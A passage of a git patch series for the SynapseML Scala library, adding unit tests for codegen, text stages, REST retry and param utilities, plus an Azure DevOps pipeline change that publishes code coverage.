test("UDFParam returns None when not set") { + val holder = new TestParamsHolder + assert(holder.get(holder.udfParam).isEmpty) + } + + test("UDFParam assertEquality accepts the same UDF and rejects mismatched ones") { + val holder = new TestParamsHolder + val intUdf = udf((x: Int) => x * 2) + val stringUdf = udf((x: Int) => x.toString) + holder.udfParam.assertEquality(intUdf, intUdf) + // UDFs with different return types must not compare equal + assertThrows[AssertionError] { + holder.udfParam.assertEquality(intUdf, stringUdf) + } + } + + test("UDFParam assertEquality throws for non-UDF types") { + val holder = new TestParamsHolder + assertThrows[AssertionError] { + holder.udfParam.assertEquality("not a udf", "also not a udf") + } + } +} diff --git a/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModelSuite.scala b/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModelSuite.scala index 5cd28f57192..4fee100465e 100644 --- a/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModelSuite.scala +++ b/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModelSuite.scala @@ -50,8 +50,9 @@ class ONNXModelSuite extends TestBase private implicit val eqFloat: Equality[Float] = TolerantNumerics.tolerantFloatEquality(1E-5f) private implicit val eqMap: Equality[Map[Long, Float]] = mapEq[Long, Float] private implicit val eqSeqDouble: Equality[Seq[Double]] = (a: Seq[Double], b: Any) => { - b match { - case sd: Seq[Double] => a.zip(sd).forall(x => x._1 === x._2) + // Using @unchecked because Seq[Double] type parameter is erased at runtime + (b: @unchecked) match { + case sd: Seq[Double @unchecked] => a.zip(sd).forall(x => x._1 === x._2) case _ => false } } diff --git a/pipeline.yaml b/pipeline.yaml index c709006ef6c..b029a1bc6b5 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -609,6 +609,7 @@ jobs: condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: - template: templates/codecov.yml + - template: templates/publish_coverage_ado.yml - job: RTests dependsOn: BuildAndCacheSbt timeoutInMinutes: 60 @@ -674,6 +675,7 @@ jobs: condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: - template: templates/codecov.yml + - template: templates/publish_coverage_ado.yml - job: WebsiteSamplesTests dependsOn: BuildAndCacheSbt @@ -710,6 +712,11 @@ jobs: condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: - template: templates/codecov.yml + # testWebsiteDocs drives Spark out-of-process, so scoverage records no measurement + # data for this job; an empty report here is expected rather than a broken glob. + - template: templates/publish_coverage_ado.yml + parameters: + failIfCoverageEmpty: false - job: UnitTests dependsOn: BuildAndCacheSbt @@ -838,9 +845,16 @@ jobs: com.microsoft.azure.synapse.ml.param.** com.microsoft.azure.synapse.ml.logging.** com.microsoft.azure.synapse.ml.fabric.** + com.microsoft.azure.synapse.ml.explainers.VerifyExplainerSharedParams com.microsoft.azure.synapse.ml.explainers.VerifyFeatureStats + com.microsoft.azure.synapse.ml.explainers.VerifyRowUtils + com.microsoft.azure.synapse.ml.io.binary.VerifyBinaryFileFormat + com.microsoft.azure.synapse.ml.io.http.VerifyClients + com.microsoft.azure.synapse.ml.io.http.VerifyHTTPSchema com.microsoft.azure.synapse.ml.io.http.VerifySharedVariable + com.microsoft.azure.synapse.ml.io.image.VerifyImageUtils com.microsoft.azure.synapse.ml.nbtest.FabricTestArtifactTrackerSuite + com.microsoft.azure.synapse.ml.services.CognitiveServiceBaseSuite com.microsoft.azure.synapse.ml.services.search.AddDocumentsHeaderPersistenceSuite com.microsoft.azure.synapse.ml.services.search.AzureSearchAuthSuite com.microsoft.azure.synapse.ml.services.search.AzureSearchGenericParamPersistenceSuite @@ -895,6 +909,7 @@ jobs: keyVaultName: mmlspark-keys SecretsFilter: codecov-token - template: templates/codecov.yml + - template: templates/publish_coverage_ado.yml - job: ReleaseBranchCompat dependsOn: BuildAndCacheSbt diff --git a/src/test/scala/com/microsoft/azure/synapse/ml/core/test/fuzzing/FuzzingTest.scala b/src/test/scala/com/microsoft/azure/synapse/ml/core/test/fuzzing/FuzzingTest.scala index e6ec91917e7..57bc9cdf529 100644 --- a/src/test/scala/com/microsoft/azure/synapse/ml/core/test/fuzzing/FuzzingTest.scala +++ b/src/test/scala/com/microsoft/azure/synapse/ml/core/test/fuzzing/FuzzingTest.scala @@ -12,7 +12,7 @@ import org.apache.spark.ml._ import org.apache.spark.ml.param._ import org.apache.spark.ml.util.{MLReadable, MLWritable} -import java.lang.reflect.ParameterizedType +import java.lang.reflect.{InvocationTargetException, Modifier, ParameterizedType} import scala.language.existentials /** Tests to validate fuzzing of modules. */ @@ -417,7 +417,19 @@ class FuzzingTest extends TestBase { private lazy val readers: List[MLReadable[_]] = JarLoadingUtils.instantiateObjects[MLReadable[_]]() - private lazy val pipelineStages: List[PipelineStage] = JarLoadingUtils.instantiateServices[PipelineStage]() + private lazy val pipelineStages: List[PipelineStage] = { + JarLoadingUtils.AllClasses + .filter(classOf[PipelineStage].isAssignableFrom(_)) + .filter(clazz => !Modifier.isAbstract(clazz.getModifiers)) + .filterNot(clazz => clazz.getName.contains("$") || clazz.getSimpleName.startsWith("Testable")) + .map { clazz => + try { + clazz.getConstructor().newInstance().asInstanceOf[PipelineStage] + } catch { + case e: InvocationTargetException => throw e.getCause + } + } + } private lazy val experimentFuzzers: List[ExperimentFuzzing[_ <: PipelineStage]] = JarLoadingUtils.instantiateServices[ExperimentFuzzing[_ <: PipelineStage]]() diff --git a/templates/publish_coverage_ado.yml b/templates/publish_coverage_ado.yml new file mode 100644 index 00000000000..30bac3177e4 --- /dev/null +++ b/templates/publish_coverage_ado.yml @@ -0,0 +1,20 @@ +parameters: + # WebsiteSamplesTests drives Spark out-of-process, so scoverage never records + # measurement data there and having nothing to publish is the expected state. + # Every other job that includes this template does produce a report. + - name: failIfCoverageEmpty + type: boolean + default: true + +steps: + - task: PublishCodeCoverageResults@2 + displayName: 'Publish Code Coverage to Azure DevOps' + inputs: + # Cobertura XML, which Azure DevOps understands. + # sbt-scoverage writes it to target/scala-2.12/coverage-report/ (scoverage-report/ + # only ever holds scoverage.xml and the HTML), so glob coverage-report explicitly. + summaryFileLocation: '**/coverage-report/cobertura.xml' + pathToSources: '$(Build.SourcesDirectory)' + # Fail loudly if the glob stops matching, rather than silently publishing nothing. + failIfCoverageEmpty: ${{ parameters.failIfCoverageEmpty }} + condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) From 60cf93c4cbde7396e2ac4ba0b5ff3b68f0df2d72 Mon Sep 17 00:00:00 2001 From: Brendan Walsh <37676373+BrendanWalsh@users.noreply.github.com> Date: Fri, 14 Aug 2026 11:47:30 -0700 Subject: [PATCH 53/93] test: add 84 unit tests for codegen, stages, utils, lightgbm, vw, automl, and http (#2498) Co-authored-by: Ranadeep Singh --- .../synapse/ml/automl/VerifyParamSpace.scala | 65 ++++++++++++++++ .../ml/codegen/VerifyCodegenConfig.scala | 63 ++++++++++++++++ .../ml/codegen/VerifyDefaultParamInfo.scala | 51 +++++++++++++ .../ml/codegen/VerifyGenerationUtils.scala | 51 +++++++++++++ .../ml/core/utils/VerifyJarLoadingUtils.scala | 25 +++++++ .../ml/core/utils/VerifyModelEquality.scala | 35 +++++++++ .../ml/io/http/VerifyRESTHelpers.scala | 49 ++++++++++++ .../synapse/ml/stages/VerifyCacher.scala | 49 ++++++++++++ .../ml/stages/VerifyTextPreprocessor.scala | 51 +++++++++++++ .../azure/synapse/ml/stages/VerifyTrie.scala | 50 +++++++++++++ .../ml/stages/VerifyUnicodeNormalize.scala | 59 +++++++++++++++ .../lightgbm/dataset/VerifyDatasetUtils.scala | 74 +++++++++++++++++++ pipeline.yaml | 2 + .../synapse/ml/vw/VerifyVectorUtils.scala | 73 ++++++++++++++++++ 14 files changed, 697 insertions(+) create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyParamSpace.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyCodegenConfig.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyDefaultParamInfo.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyGenerationUtils.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyJarLoadingUtils.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyModelEquality.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyRESTHelpers.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyCacher.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyTextPreprocessor.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyTrie.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyUnicodeNormalize.scala create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/VerifyDatasetUtils.scala create mode 100644 vw/src/test/scala/com/microsoft/azure/synapse/ml/vw/VerifyVectorUtils.scala diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyParamSpace.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyParamSpace.scala new file mode 100644 index 00000000000..ef29cc3e923 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyParamSpace.scala @@ -0,0 +1,65 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.automl + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{IntParam, ParamMap, Params} +import org.apache.spark.ml.util.Identifiable + +// scalastyle:off magic.number +class VerifyParamSpace extends TestBase { + + private object TestParams extends Params { + override val uid: String = Identifiable.randomUID("TestParams") // scalastyle:ignore field.name + override def copy(extra: ParamMap): Params = this + val intParam = new IntParam(this, "intParam", "test int param") // scalastyle:ignore field.name + } + + test("GridSpace iterates over all ParamMaps in order") { + val pm1 = ParamMap(TestParams.intParam -> 1) + val pm2 = ParamMap(TestParams.intParam -> 2) + val pm3 = ParamMap(TestParams.intParam -> 3) + val grid = new GridSpace(Array(pm1, pm2, pm3)) + // Asserting only the length would pass even if GridSpace dropped or reordered entries, + // which matters because these values are positional in a tuning sweep. + assert(grid.paramMaps.map(_.get(TestParams.intParam).get).toList === List(1, 2, 3)) + } + + test("GridSpace with empty array produces empty iterator") { + val grid = new GridSpace(Array.empty[ParamMap]) + assert(!grid.paramMaps.hasNext) + } + + test("RandomSpace produces infinite iterator") { + val builder = new HyperparamBuilder() + .addHyperparam(TestParams.intParam, new IntRangeHyperParam(1, 100)) + val space = new RandomSpace(builder.build()) + val values = space.paramMaps.take(50).toList + assert(values.length === 50) + values.foreach { pm => + val v = pm.get(TestParams.intParam) + assert(v.isDefined) + assert(v.get >= 1 && v.get < 100) + } + } + + test("RandomSpace iterator always hasNext") { + val builder = new HyperparamBuilder() + .addHyperparam(TestParams.intParam, new IntRangeHyperParam(0, 10)) + val space = new RandomSpace(builder.build()) + assert(space.paramMaps.hasNext) + space.paramMaps.next() + assert(space.paramMaps.hasNext) + } + + test("Dist.getParamPair creates correct ParamPair") { + val dist = new IntRangeHyperParam(5, 15, seed = 42) + val pp = dist.getParamPair(TestParams.intParam) + assert(pp.param.name === TestParams.intParam.name) + val value = pp.value.asInstanceOf[Int] + assert(value >= 5) + assert(value < 15) + } +} +// scalastyle:on magic.number diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyCodegenConfig.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyCodegenConfig.scala new file mode 100644 index 00000000000..dc270f51b6d --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyCodegenConfig.scala @@ -0,0 +1,63 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.codegen + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import java.io.File + +class VerifyCodegenConfig extends TestBase { + + private val config = CodegenConfig( + name = "testmod", + jarName = Some("testmod.jar"), + topDir = "/top", + targetDir = "/target", + // Deliberately distinct so a test asserting one cannot pass by reading the other. + version = "1.0.0", + pythonizedVersion = "1.0.0.dev1", + rVersion = "1.0.0.1", + packageName = "com.test" + ) + + test("generatedDir returns correct path") { + assert(config.generatedDir === new File("/target", "generated")) + } + + test("pySrcDir derives from srcDir") { + assert(config.pySrcDir === new File(config.srcDir, "python")) + } + + test("rSrcDir derives from rSrcRoot") { + assert(config.rSrcDir === new File(config.rSrcRoot, "synapseml/R")) + } + + test("srcDir derives from generatedDir") { + assert(config.srcDir === new File(config.generatedDir, "src")) + } + + test("testDir derives from generatedDir") { + assert(config.testDir === new File(config.generatedDir, "test")) + } + + test("copyrightLines is non-empty") { + assert(config.copyrightLines.nonEmpty) + assert(config.copyrightLines.contains("Copyright")) + } + + test("scopeDepth is 4 spaces") { + assert(config.scopeDepth === " ") + assert(config.scopeDepth.length === 4) // scalastyle:ignore magic.number + } + + test("internalPrefix is underscore") { + assert(config.internalPrefix === "_") + } + + test("packageHelp produces valid content") { + val help = config.packageHelp("import foo") + assert(help.contains("SynapseML")) + assert(help.contains("import foo")) + assert(help.contains(config.pythonizedVersion)) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyDefaultParamInfo.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyDefaultParamInfo.scala new file mode 100644 index 00000000000..fef8a9a02d8 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyDefaultParamInfo.scala @@ -0,0 +1,51 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.codegen + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param._ +import org.apache.spark.ml.util.Identifiable + +class VerifyDefaultParamInfo extends TestBase { + + private object TestParams extends Params { + override val uid: String = Identifiable.randomUID("TestParams") // scalastyle:ignore field.name + override def copy(extra: ParamMap): Params = this + } + + test("getGeneralParamInfo returns BooleanInfo for BooleanParam") { + val p = new BooleanParam(TestParams, "b", "desc") + assert(DefaultParamInfo.getGeneralParamInfo(p) === DefaultParamInfo.BooleanInfo) + } + + test("getGeneralParamInfo returns IntInfo for IntParam") { + val p = new IntParam(TestParams, "i", "desc") + assert(DefaultParamInfo.getGeneralParamInfo(p) === DefaultParamInfo.IntInfo) + } + + test("getGeneralParamInfo returns DoubleInfo for DoubleParam") { + val p = new DoubleParam(TestParams, "d", "desc") + assert(DefaultParamInfo.getGeneralParamInfo(p) === DefaultParamInfo.DoubleInfo) + } + + test("getGeneralParamInfo returns StringArrayInfo for StringArrayParam") { + val p = new StringArrayParam(TestParams, "sa", "desc") + assert(DefaultParamInfo.getGeneralParamInfo(p) === DefaultParamInfo.StringArrayInfo) + } + + test("getGeneralParamInfo returns UnknownInfo for unrecognized param") { + val p = new Param[Any](TestParams, "unknown", "desc") + assert(DefaultParamInfo.getGeneralParamInfo(p) === DefaultParamInfo.UnknownInfo) + } + + test("ParamInfo instances have correct pyType values") { + assert(DefaultParamInfo.BooleanInfo.pyType === "bool") + assert(DefaultParamInfo.IntInfo.pyType === "int") + assert(DefaultParamInfo.DoubleInfo.pyType === "float") + assert(DefaultParamInfo.StringArrayInfo.pyType === "list") + assert(DefaultParamInfo.StringStringMapInfo.pyType === "dict") + assert(DefaultParamInfo.StringInfo.pyType === "str") + assert(DefaultParamInfo.UnknownInfo.pyType === "object") + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyGenerationUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyGenerationUtils.scala new file mode 100644 index 00000000000..456dc892286 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/VerifyGenerationUtils.scala @@ -0,0 +1,51 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.codegen + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyGenerationUtils extends TestBase { + + test("indent adds correct number of spaces") { + val input = "line1\nline2\nline3" + val result = GenerationUtils.indent(input, 1) + assert(result === " line1\n line2\n line3") + } + + test("indent with multiple tabs") { + val input = "hello" + val result = GenerationUtils.indent(input, 3) + assert(result === " hello") + } + + test("indent with zero tabs") { + val input = "hello\nworld" + val result = GenerationUtils.indent(input, 0) + assert(result === "hello\nworld") + } + + test("camelToSnake converts simple camelCase") { + assert(GenerationUtils.camelToSnake("maxIter") === "max_iter") + } + + test("camelToSnake converts single word") { + assert(GenerationUtils.camelToSnake("hello") === "hello") + } + + test("camelToSnake handles leading uppercase") { + assert(GenerationUtils.camelToSnake("GBTClassifier") === "gbt_classifier") + } + + test("camelToSnake handles multiple uppercase transitions") { + assert(GenerationUtils.camelToSnake("minInstancesPerNode") === "min_instances_per_node") + } + + test("camelToSnake handles all uppercase") { + assert(GenerationUtils.camelToSnake("ABC") === "abc") + } + + test("camelToSnake handles digits as word boundaries") { + assert(GenerationUtils.camelToSnake("spark3Version") === "spark_3_version") + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyJarLoadingUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyJarLoadingUtils.scala new file mode 100644 index 00000000000..bc95c6ed732 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyJarLoadingUtils.scala @@ -0,0 +1,25 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.utils + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyJarLoadingUtils extends TestBase { + + test("className strips .class extension and converts slashes to dots") { + assert(JarLoadingUtils.className("com/example/MyClass.class") === "com.example.MyClass") + } + + test("className returns input unchanged if no .class extension") { + assert(JarLoadingUtils.className("com.example.MyClass") === "com.example.MyClass") + } + + test("className handles nested class paths") { + assert(JarLoadingUtils.className("a/b/c/D.class") === "a.b.c.D") + } + + test("className handles simple filename") { + assert(JarLoadingUtils.className("Main.class") === "Main") + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyModelEquality.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyModelEquality.scala new file mode 100644 index 00000000000..719072b0836 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyModelEquality.scala @@ -0,0 +1,35 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.utils + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyModelEquality extends TestBase { + + // These assertions hold both before and after the jaccardSimilarity fix in the companion + // production PR, so this suite stays independently mergeable. The discriminating + // partial-overlap tests ship with that fix rather than here. + + test("jaccardSimilarity of identical strings is 1.0") { + assert(ModelEquality.jaccardSimilarity("hello", "hello") === 1.0) + } + + test("jaccardSimilarity of strings sharing nothing is 0.0") { + assert(ModelEquality.jaccardSimilarity("abcd", "wxyz") === 0.0) + } + + test("jaccardSimilarity is bounded to [0, 1]") { + Seq(("abc", "def"), ("hello", "hello"), ("kitten", "sitting"), ("a", "ab")).foreach { + case (s1, s2) => + val score = ModelEquality.jaccardSimilarity(s1, s2) + assert(score >= 0.0 && score <= 1.0, s"$s1 vs $s2 produced $score") + } + } + + test("jaccardSimilarity is symmetric") { + Seq(("abc", "def"), ("kitten", "sitting"), ("hello", "hello")).foreach { case (s1, s2) => + assert(ModelEquality.jaccardSimilarity(s1, s2) === ModelEquality.jaccardSimilarity(s2, s1)) + } + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyRESTHelpers.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyRESTHelpers.scala new file mode 100644 index 00000000000..9deb68ff705 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyRESTHelpers.scala @@ -0,0 +1,49 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.io.http + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +// scalastyle:off magic.number +class VerifyRESTHelpers extends TestBase { + + test("retry succeeds on first try with empty backoffs") { + val result = RESTHelpers.retry(List.empty[Int], () => 42) + assert(result === 42) + } + + test("retry succeeds on first try with non-empty backoffs") { + val result = RESTHelpers.retry(List(0, 0), () => "ok") + assert(result === "ok") + } + + test("retry retries on failure and eventually succeeds") { + var attempts = 0 + val result = Console.withOut(new java.io.ByteArrayOutputStream()) { + // Zero backoffs exercise the same retry path without a real Thread.sleep. + RESTHelpers.retry(List(0, 0, 0), () => { + attempts += 1 + if (attempts < 3) throw new RuntimeException("fail") + "success" + }) + } + assert(result === "success") + assert(attempts === 3) + } + + test("retry throws when all retries exhausted") { + Console.withOut(new java.io.ByteArrayOutputStream()) { + intercept[RuntimeException] { + RESTHelpers.retry(List(0), () => throw new RuntimeException("always fails")) + } + } + } + + test("retry with empty backoff list throws immediately") { + intercept[RuntimeException] { + RESTHelpers.retry(List.empty[Int], () => throw new RuntimeException("immediate")) + } + } +} +// scalastyle:on magic.number diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyCacher.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyCacher.scala new file mode 100644 index 00000000000..572ed7b8b60 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyCacher.scala @@ -0,0 +1,49 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.storage.StorageLevel + +class VerifyCacher extends TestBase { + import spark.implicits._ + + test("transform with disable=false caches the dataframe") { + val df = Seq(1, 2, 3).toDF("x") + val cacher = new Cacher().setDisable(false) + val result = cacher.transform(df) + try { + result.count() + assert(result.storageLevel !== StorageLevel.NONE) + } finally { + // TestBase shares one SparkSession across every suite in the leg, so a failed assertion + // must not leave this DataFrame cached for whatever runs next. + result.unpersist() + } + } + + test("transform with disable=true does not cache") { + val df = Seq(4, 5, 6).toDF("y") + val cacher = new Cacher().setDisable(true) + val result = cacher.transform(df) + assert(result.storageLevel === StorageLevel.NONE) + } + + test("default disable value is false") { + val cacher = new Cacher() + assert(!cacher.getDisable) + } + + test("copy preserves params") { + val cacher = new Cacher().setDisable(true) + val copied = cacher.copy(new org.apache.spark.ml.param.ParamMap()) + assert(copied.asInstanceOf[Cacher].getDisable) + } + + test("transformSchema returns same schema") { + val df = Seq(1, 2, 3).toDF("x") + val cacher = new Cacher() + assert(cacher.transformSchema(df.schema) === df.schema) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyTextPreprocessor.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyTextPreprocessor.scala new file mode 100644 index 00000000000..ec788d314cc --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyTextPreprocessor.scala @@ -0,0 +1,51 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.sql.types.{StringType, StructField} + +class VerifyTextPreprocessor extends TestBase { + import spark.implicits._ + + test("replaces matched substrings in DataFrame column") { + val df = Seq("hello world").toDF("text") + val tp = new TextPreprocessor() + .setInputCol("text") + .setOutputCol("out") + .setMap(Map("hello" -> "hi")) + val result = tp.transform(df).select("out").collect() + assert(result.head.getString(0) === "hi world") + } + + test("no matches returns original text") { + val df = Seq("hello world").toDF("text") + val tp = new TextPreprocessor() + .setInputCol("text") + .setOutputCol("out") + .setMap(Map("xyz" -> "abc")) + val result = tp.transform(df).select("out").collect() + assert(result.head.getString(0) === "hello world") + } + + test("multiple replacements in same text") { + val df = Seq("hello world.").toDF("text") + val tp = new TextPreprocessor() + .setInputCol("text") + .setOutputCol("out") + .setMap(Map("hello" -> "hi", "world" -> "earth")) + val result = tp.transform(df).select("out").collect() + assert(result.head.getString(0) === "hi earth.") + } + + test("transformSchema adds output column") { + val df = Seq("a").toDF("text") + val tp = new TextPreprocessor() + .setInputCol("text") + .setOutputCol("out") + val schema = tp.transformSchema(df.schema) + assert(schema.fieldNames.contains("out")) + assert(schema(schema.fieldIndex("out")) === StructField("out", StringType)) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyTrie.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyTrie.scala new file mode 100644 index 00000000000..afaa0b1dccb --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyTrie.scala @@ -0,0 +1,50 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyTrie extends TestBase { + + test("Trie.apply creates from map") { + val t = Trie(Map("hello" -> "hi")) + assert(t.get('h').isDefined) + } + + test("put and get for single characters") { + val t = new Trie().put("a", "b") + assert(t.get('a').isDefined) + } + + test("mapText replaces matching substrings") { + val t = Trie(Map("hello" -> "hi")) + assert(t.mapText("hello there") === "hi there") + } + + test("mapText with no matches returns original text") { + val t = Trie(Map("xyz" -> "abc")) + assert(t.mapText("hello world") === "hello world") + } + + test("mapText with multiple replacements") { + val t = Trie(Map("hello" -> "hi", "world" -> "earth")) + assert(t.mapText("hello world.") === "hi earth.") + } + + test("putAll adds all entries") { + val t = new Trie().putAll(Map("a" -> "1", "b" -> "2")) + assert(t.get('a').isDefined) + assert(t.get('b').isDefined) + } + + test("get returns None for missing key") { + val t = new Trie() + assert(t.get('z').isEmpty) + } + + test("mapText with overlapping keys longer key wins") { + val t = Trie(Map("he" -> "X", "hello" -> "Y")) + assert(t.mapText("hello.") === "Y.") + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyUnicodeNormalize.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyUnicodeNormalize.scala new file mode 100644 index 00000000000..c79a44f2b0b --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/VerifyUnicodeNormalize.scala @@ -0,0 +1,59 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.sql.types.{StringType, StructField} + +class VerifyUnicodeNormalize extends TestBase { + import spark.implicits._ + + test("normalizes unicode text") { + // e + combining acute accent (decomposed) vs precomposed e-acute + val decomposed = "cafe\u0301" + val df = Seq(decomposed).toDF("text") + val normalizer = new UnicodeNormalize() + .setInputCol("text") + .setOutputCol("normalized") + .setForm("NFC") + .setLower(false) + val result = normalizer.transform(df).select("normalized").collect() + assert(result.head.getString(0) === "caf\u00e9") + } + + test("lower=true lowercases output") { + val df = Seq("HELLO").toDF("text") + val normalizer = new UnicodeNormalize() + .setInputCol("text") + .setOutputCol("out") + .setLower(true) + val result = normalizer.transform(df).select("out").collect() + assert(result.head.getString(0) === "hello") + } + + test("lower=false preserves case") { + val df = Seq("Hello").toDF("text") + val normalizer = new UnicodeNormalize() + .setInputCol("text") + .setOutputCol("out") + .setLower(false) + val result = normalizer.transform(df).select("out").collect() + assert(result.head.getString(0).contains("H")) + } + + test("default form is NFKD") { + val normalizer = new UnicodeNormalize() + assert(normalizer.getForm === "NFKD") + } + + test("transformSchema adds output column") { + val df = Seq("a").toDF("text") + val normalizer = new UnicodeNormalize() + .setInputCol("text") + .setOutputCol("out") + val schema = normalizer.transformSchema(df.schema) + assert(schema.fieldNames.contains("out")) + assert(schema(schema.fieldIndex("out")) === StructField("out", StringType)) + } +} diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/VerifyDatasetUtils.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/VerifyDatasetUtils.scala new file mode 100644 index 00000000000..8cf130585da --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/VerifyDatasetUtils.scala @@ -0,0 +1,74 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.dataset + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase 